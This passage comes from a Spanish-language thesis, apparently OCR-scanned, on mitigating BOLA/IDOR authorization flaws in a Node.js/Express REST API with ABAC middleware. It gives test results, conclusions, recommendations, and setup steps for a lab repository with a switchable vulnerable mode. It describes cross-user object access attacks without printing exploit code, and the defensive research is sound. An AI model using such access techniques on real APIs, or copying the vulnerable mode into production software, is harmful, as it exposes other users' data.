Con el middleware ABAC, la tasa de éxito de los vectores evaluados bajo a cero. En corto: GET
/users/:id (id ajeno) paso de explotable en Fase 2 a no explotable en Fase 3; lo mismo con PUT

lusers/:id (id ajeno). En cambio, GET /users/:id (id propio) se mantuvo funcional en las dos fases.

Ademas, la prueba 9 muestra que la defensa no mete regresién funcional: el acceso al propio
recurso sigue en 200 OK en Fase 2 y en Fase 3. La mitigacién corta solo los accesos cruzados

entre usuarios y no los flujos legitimos.

Visto desde ABAC (NIST SP 800-162, 2014), la regla légica que se implementé alcanzé para

neutralizar el vector de ataque:

Autorizar © Atributo_sujeto(id_token) == Atributo_objeto(propietario_id)

O BIEN Atributo_sujeto(rol) === ‘admin’

Evaluar esa regla en tiempo de ejecucion, en la capa de aplicacion cerca de la persistencia —
como recomiendan de Almeida y Bonifacio (2023)— resulté ser la contramedida estructural que

funcioné frente a BOLA en este espécimen.

Un API Gateway u otros controles de perimetro pueden meter politicas de autorizacion si tienen
contexto suficiente de sujeto y objeto. Pero si solo validan que el token sea auténtico, no alcanzan
para asegurar la propiedad del recurso. Por eso este proyecto concluye que hace falta una

validacion contextual en la aplicacion (JWT.id frente a :id) en cada peticion sensible.
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CAPITULO 5

5. CONCLUSIONES Y RECOMENDACIONES

5.1.

Conclusiones

Eficiencia del Modelo Defensivo: La implementacion de un middleware de
autorizacion centralizada, basado en el paradigma Zero Trust y el modelo ABAC,
demostré una disminucion a cero de la explotacion en los casos de prueba
evaluados empiricamente en la API propia (GET /users/:id y PUT /users/:id). A pesar
de que el (DELETE /users/:iid) comparte la misma cadena de middlewares, su
explotacion no fue incluida en las pruebas de concepto; por lo tanto, la afirmacion
de mitigacion se limita a los métodos que fueron validados.

Naturaleza del Fallo de Seguridad: Se concluyé que la vulnerabilidad BOLA
(antiguamente IDOR) no proviene de fallas criptograficas o de autenticacion, sino
de una deficiencia en la l6gica estructural del cédigo. Las defensas tradicionales de
red (como los WAF) son insuficientes porque los ataques se originan desde canales
legitimos y usuarios autenticados con tokens JWT validos.

Inadecuacion de Herramientas Estaticas: La literatura revisada indica que el
analisis estatico automatizado (SAST) frecuentemente no logra identificar
vulnerabilidades de tipo BOLA, ya que este tipo de vulnerabilidades requiere una
evaluacion dinamica y contextual en tiempo de ejecucion, lo cual concuerda con los
resultados obtenidos en este proyecto mediante pruebas dinamicas sobre VamPI,
OWASP crAPI y la API propia.

Alta Explotabilidad en Entornos Base: Las pruebas dinamicas y ofensivas
ejecutadas sobre entornos de referencia global (VamPl y OWASP crAPI) revelaron
una tasa de explotacion horizontal del 100% de los recursos ajenos evaluados en
los escenarios de laboratorio (perfiles objetivo en VAMPI, el caso de geolocalizacion

en crAPl y las operaciones GET/PUT en la API propia) mediante scripts
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automatizados, evidenciando la fragilidad de las arquitecturas de APIs REST que
carecen de validaciones cruzadas estrictas en dichos escenarios

Valor e Impacto de Transferibilidad: El artefacto tecnolégico desarrollado en
Node.js y Express.js provee una solucién modular, reproducible y quirdrgica que es
directamente transferible a ciclos de vida de desarrollo seguro (S-SDLC),
contribuyendo a reducir riesgos asociados al cumplimiento normativo de marcos
legales rigurosos como la Ley Organica de Proteccion de Datos Personales de

Ecuador.

5.2. Recomendaciones

Adoptar ABAC como Complemento de RBAC para Decisiones a Nivel de
Objeto: Se recomienda incorporar esquemas de Control de Acceso Basado en
Atributos (ABAC) como extension complementaria de los modelos de Control de
Acceso Basado en Roles (RBAC) ya existentes, en lugar de sustituirlos. Mientras
RBAC gestiona eficientemente los permisos a nivel de rol y funcionalidad, ABAC
debe reservarse para evaluar de forma dinamica variables criticas en tiempo de
ejecucion, cubriendo asi las decisiones de autorizacion a nivel de objeto/instancia
que RBAC no esta disefado para resolver, mitigando de esta forma las deficiencias
l6gicas que originan vulnerabilidades tipo BOLA.

Integrar Controles de Autorizacién Centralizados y Desacoplados: Se propone
utilizar patrones de disefio tipo middleware, como el que ofrece Express.js, para
interceptar las solicitudes HTTP antes de que llegue a las funciones de los
controladores finales. Esto asegura que la logica de seguridad se mantenga
independiente del cédigo de negocio, lo que simplifica su mantenimiento y auditoria.
Integrar Pruebas Dinamicas (DAST/Pentesting) en el S-SDLC: Debido a las

restricciones de las herramientas de analisis estatico (SAST) ante errores de ldgica
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de negocio como BOLA, es fundamental institucionalizar pruebas dinamicas
automatizadas y simulaciones ofensivas (scripts de penetracion) dentro de los flujos
de integracion continua (CI/CD).

¢ Implementar Principios de Confianza Cero (Zero Trust): Se recomienda de
forma rigurosa la verificacion cruzada e independiente de cada peticidon a nivel de
objeto para garantizar que el solicitante sea efectivamente el propietario o una
entidad explicitamente autorizada.

o Utilizar Configuraciéon por Variables de Entorno para Pruebas en Laboratorio:
Implementar herramientas de gestién de entorno (como dotenv) para alternar entre
estados seguros y vulnerables sin alterar el cédigo fuente, restringiendo esta
practica exclusivamente a entornos de pruebas y capacitacion, permitiendo asi
optimizan los procesos de auditoria interna, regresién y capacitacion técnica, sin

introducir un vector de riesgo adicional en entornos productivos.
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ANEXOS

REPOSITORIO GITHUB CODIGO API PROPIA

URL: https://github.com/eigarces1/api propia

Rama: main (version vigente del repositorio)

README (resumen). APl REST en Node.js/Express + SQLite para demostrar BOLA
(BOLA_MITIGADO=false) y su mitigacion ABAC (BOLA_MITIGADO=true). Detalle en el

README.md del repo.

Instalacion y ejecucion:

git clone https://github.com/eigarcesl/api_propia.git

cd api_propia

npm install

copy .env.example .env

npm run dev

Prueba: GET http://localhost:3000/api/v1/ping

BOLA: Fase 2 — GET/PUT /users/1 con token ajeno = 200; Fase 3 = 403 (ver Cap. 4).

REPOSITORIO LABORATORIO

LABORATORIO TRABAJO TITULACION
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